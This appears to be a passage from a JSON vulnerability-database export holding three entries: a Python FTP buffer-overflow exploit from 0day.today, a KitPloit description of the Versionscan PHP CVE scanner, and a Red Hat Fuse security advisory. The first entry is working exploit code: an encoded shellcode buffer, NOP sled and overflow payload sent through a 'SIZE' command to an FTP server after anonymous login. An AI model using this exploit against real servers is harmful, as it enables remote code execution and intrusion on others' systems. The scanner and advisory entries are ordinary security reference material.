\"\\xeb\\x91\\x81\\x1e\\xb9\\x1d\\x69\\x72\\x2a\\x96\\x1f\\x5b\\x5d\"\r\nbuf += \"\\x1f\\x95\\xbd\\x50\\xa0\\x86\\xfe\\xf3\\x22\\xd5\\xd2\\xd3\\x1b\"\r\nbuf += \"\\x16\\x27\\x15\\x5c\\x4b\\xca\\x47\\x35\\x07\\x79\\x78\\x32\\x5d\"\r\nbuf += \"\\x42\\xf3\\x08\\x73\\xc2\\xe0\\xd8\\x72\\xe3\\xb6\\x53\\x2d\\x23\"\r\nbuf += \"\\x38\\xb0\\x45\\x6a\\x22\\xd5\\x60\\x24\\xd9\\x2d\\x1e\\xb7\\x0b\"\r\nbuf += \"\\x7c\\xdf\\x14\\x72\\xb1\\x12\\x64\\xb2\\x75\\xcd\\x13\\xca\\x86\"\r\nbuf += \"\\x70\\x24\\x09\\xf5\\xae\\xa1\\x8a\\x5d\\x24\\x11\\x77\\x5c\\xe9\"\r\nbuf += \"\\xc4\\xfc\\x52\\x46\\x82\\x5b\\x76\\x59\\x47\\xd0\\x82\\xd2\\x66\"\r\nbuf += \"\\x37\\x03\\xa0\\x4c\\x93\\x48\\x72\\xec\\x82\\x34\\xd5\\x11\\xd4\"\r\nbuf += \"\\x97\\x8a\\xb7\\x9e\\x35\\xde\\xc5\\xfc\\x51\\x13\\xe4\\xfe\\xa1\"\r\nbuf += \"\\x3b\\x7f\\x8c\\x93\\xe4\\x2b\\x1a\\x9f\\x6d\\xf2\\xdd\\x96\\x7a\"\r\nbuf += \"\\x05\\x31\\x10\\xea\\xfb\\xb2\\x60\\x22\\x38\\xe6\\x30\\x5c\\xe9\"\r\nbuf += \"\\x87\\xdb\\x9c\\x16\\x52\\x71\\x97\\x80\\x9d\\x2d\\xa7\\x52\\x76\"\r\nbuf += \"\\x2f\\xa8\\x43\\xda\\xa6\\x4e\\x33\\xb2\\xe8\\xde\\xf4\\x62\\x48\"\r\nbuf += \"\\x8f\\x9c\\x68\\x47\\xf0\\xbd\\x92\\x82\\x99\\x54\\x7d\\x7a\\xf1\"\r\nbuf += \"\\xc0\\xe4\\x27\\x89\\x71\\xe8\\xf2\\xf7\\xb2\\x62\\xf6\\x08\\x7c\"\r\nbuf += \"\\x83\\x73\\x1b\\x69\\xf4\\x7b\\xe3\\x6a\\x91\\x7b\\x89\\x6e\\x33\"\r\nbuf += \"\\x2c\\x25\\x6d\\x62\\x1a\\xea\\x8e\\x41\\x19\\xed\\x71\\x14\\x2b\"\r\nbuf += \"\\x85\\x44\\x82\\x13\\xf1\\xa8\\x42\\x93\\x01\\xff\\x08\\x93\\x69\"\r\nbuf += \"\\xa7\\x68\\xc0\\x8c\\xa8\\xa4\\x75\\x1d\\x3d\\x47\\x2f\\xf1\\x96\"\r\nbuf += \"\\x2f\\xcd\\x2c\\xd0\\xef\\x2e\\x1b\\x62\\xf7\\xd0\\xd9\\x4d\\x50\"\r\nbuf += \"\\xb8\\x21\\xce\\x60\\x38\\x48\\xce\\x30\\x50\\x87\\xe1\\xbf\\x90\"\r\nbuf += \"\\x68\\x28\\xe8\\xb8\\xe3\\xbd\\x5a\\x59\\xf3\\x97\\x3b\\xc7\\xf4\"\r\nbuf += \"\\x14\\xe0\\xf8\\x8f\\x55\\x17\\xf9\\x6f\\x7c\\x7c\\xfa\\x6f\\x80\"\r\nbuf += \"\\x82\\xc7\\xb9\\xb9\\xf0\\x06\\x7a\\xfe\\x0b\\x3d\\xdf\\x57\\x86\"\r\nbuf += \"\\x3d\\x73\\xa7\\x83\"\r\n\r\n\r\nshellcode = '\\x90'*20 + buf\r\npayload = \"A\"*247+\"\\xF6\\xC1\\xB3\\x7C\"+ shellcode +\"C\"*(749-len(shellcode))\r\n\r\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\r\n##Add FTP Server IP Here###############\r\nconnect = s.connect(('192.168.0.9',21))\r\n#######################################\r\ns.recv(1024)\r\ns.send('USER anonymous\\r\\n')\r\n\r\ns.recv(1024)\r\ns.send('PASS anonymous\\r\\n')\r\n\r\ns.recv(1024)\r\ns.send('SIZE' + payload + '\\r\\n')\r\n\r\ns.recv(1024)\r\ns.send('QUIT\\r\\n')\r\n\r\ns.close()\r\n\n\n# 0day.today [2019-05-02] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32641"}], "kitploit": [{"lastseen": "2019-05-22T01:22:03", "bulletinFamily": "tools", "description": "[  ](<https://3.bp.blogspot.com/-bhtqXim-vlU/XNZVo27BruI/AAAAAAAAO4w/wqhBjqL6XlksqzL4vzGsPPETuwmPfvkRwCLcBGAs/s1600/php.png>)\n\n \n\n\nVersionscan is a tool for evaluating your currently installed PHP version and checking it against known CVEs and the versions they were fixed in to report back potential issues. \n\n** PLEASE NOTE: ** Work is still in progress to [ adapt ](<https://www.kitploit.com/search/label/ADAPT> \"adapt\" ) the tool to [ linux ](<https://www.kitploit.com/search/label/Linux> \"linux\" ) distributions that backport security fixes. As of right now, this only reports back for the straight up version reported. \n\n \n** Installation ** \n \n** Using Composer ** \n\n \n \n {\n \"require\": {\n \"psecio/versionscan\": \"dev-master\"\n }\n }\n\nThe only current dependency is the Symfony console. \n \n** Usage ** \nTo run the [ scan ](<https://www.kitploit.com/search/label/Scan> \"scan\" ) against your current PHP version, use: \n` bin/versionscan ` \nThe script will check the ` PHP_VERSION ` for the current instance and generate the pass/fail results. The output looks similar to: \n\n \n \n Executing against version: 5.4.24\n +--------+---------------+------+------------------------------------------------------------------------------------------------------+\n | Status | CVE ID | Risk | Summary |\n +--------+---------------+------+------------------------------------------------------------------------------------------------------+\n | FAIL | CVE-2014-3597 | 6.8 | Multiple buffer overflows in the php_parserr function in ext/standard/dns.c in PHP before 5.4.32 ... |\n | FAIL | CVE-2014-3587 | 4.3 | Integer overflow in the cdf_read_property_info function in cdf.c in file through 5.19, as used in... |\n\nResults will be reported back colorized as well to easily show the pass/fail of the check. \n \n** Parameters ** \nThere are several parameters that can be given to the tool to configure its [ scans ](<https://www.kitploit.com/search/label/Scans> \"scans\" ) and results: \n \n** PHP Version ** \nIf you'd like to define a PHP version to check other than the one the script finds itself, you can use the ` php-version ` parameter: \n\n \n \n bin/versionscan scan --php-version=4.3.2\n\n \n** Report Only Failures ** \nYou can also tell the versionscan to only report back the failures and not the passing tests: \n\n \n \n bin/versionscan scan --fail-only\n\n \n** Sorting results ** \nYou can also sort the results either by the CVE ID or by severity (risk rating), with the ` sort ` parameter and either the \"cve\" or \"risk\" value: \n\n \n \n bin/versionscan scan --sort=risk\n\n \n** Output formats ** \nBy default _ versionscan _ will output information directly to the console in a human-readable result. You can also specify other output formats that may be easier to parse programatically (like JSON). Use the ` --format ` option to change the output: \n\n \n \n vendor/bin/versionscan scan --php-version=5.5 --format=json\n\nSupported output formats are ` console ` , ` json ` , ` xml ` and ` html ` . \nThe HTML output format requires an ` --output ` option of the directory to write the file: \n\n \n \n vendor/bin/versionscan scan --php-version=5.5 --format=html --output=/var/www/output\n\nThe result will be written to a file named something like ` versionscan-output-20150808.html ` \n \n \n\n\n** [ Download Versionscan ](<https://github.com/psecio/versionscan> \"Download Versionscan\" ) **\n", "modified": "2019-05-21T21:17:08", "published": "2019-05-21T21:17:08", "id": "KITPLOIT:3928947731225997712", "href": "http://www.kitploit.com/2019/05/versionscan-php-version-scanner-for.html", "title": "Versionscan - A PHP Version Scanner For Reporting Possible Vulnerabilities", "type": "kitploit", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "redhat": [{"lastseen": "2019-04-30T16:20:43", "bulletinFamily": "unix", "description": "This release of Red Hat Fuse 7.3 serves as a replacement for Red Hat Fuse 7.2, and includes bug fixes and enhancements, which are documented in the Release Notes document linked to in the References.\n\nSecurity Fix(es):\n\n* jackson-databind: A deserialization flaw was discovered in the jackson-databind which could allow an unauthenticated user to perform code execution by sending the maliciously crafted input to the readValue method of the ObjectMapper. (CVE-2017-7525)\n\n* struts2: ClassLoader manipulation via request parameters (CVE-2014-0112)\n\n* jetty: HTTP request smuggling (CVE-2017-7657)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2019-04-30T19:17:33", "published": "2019-04-30T19:17:04", "id": "RHSA-2019:0910", "href": "https://access.redhat.com/errata/RHSA-2019:0910", "type": "redhat", "title": "(RHSA-2019:0910) Important: Red Hat Fuse 7.3 security update", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}
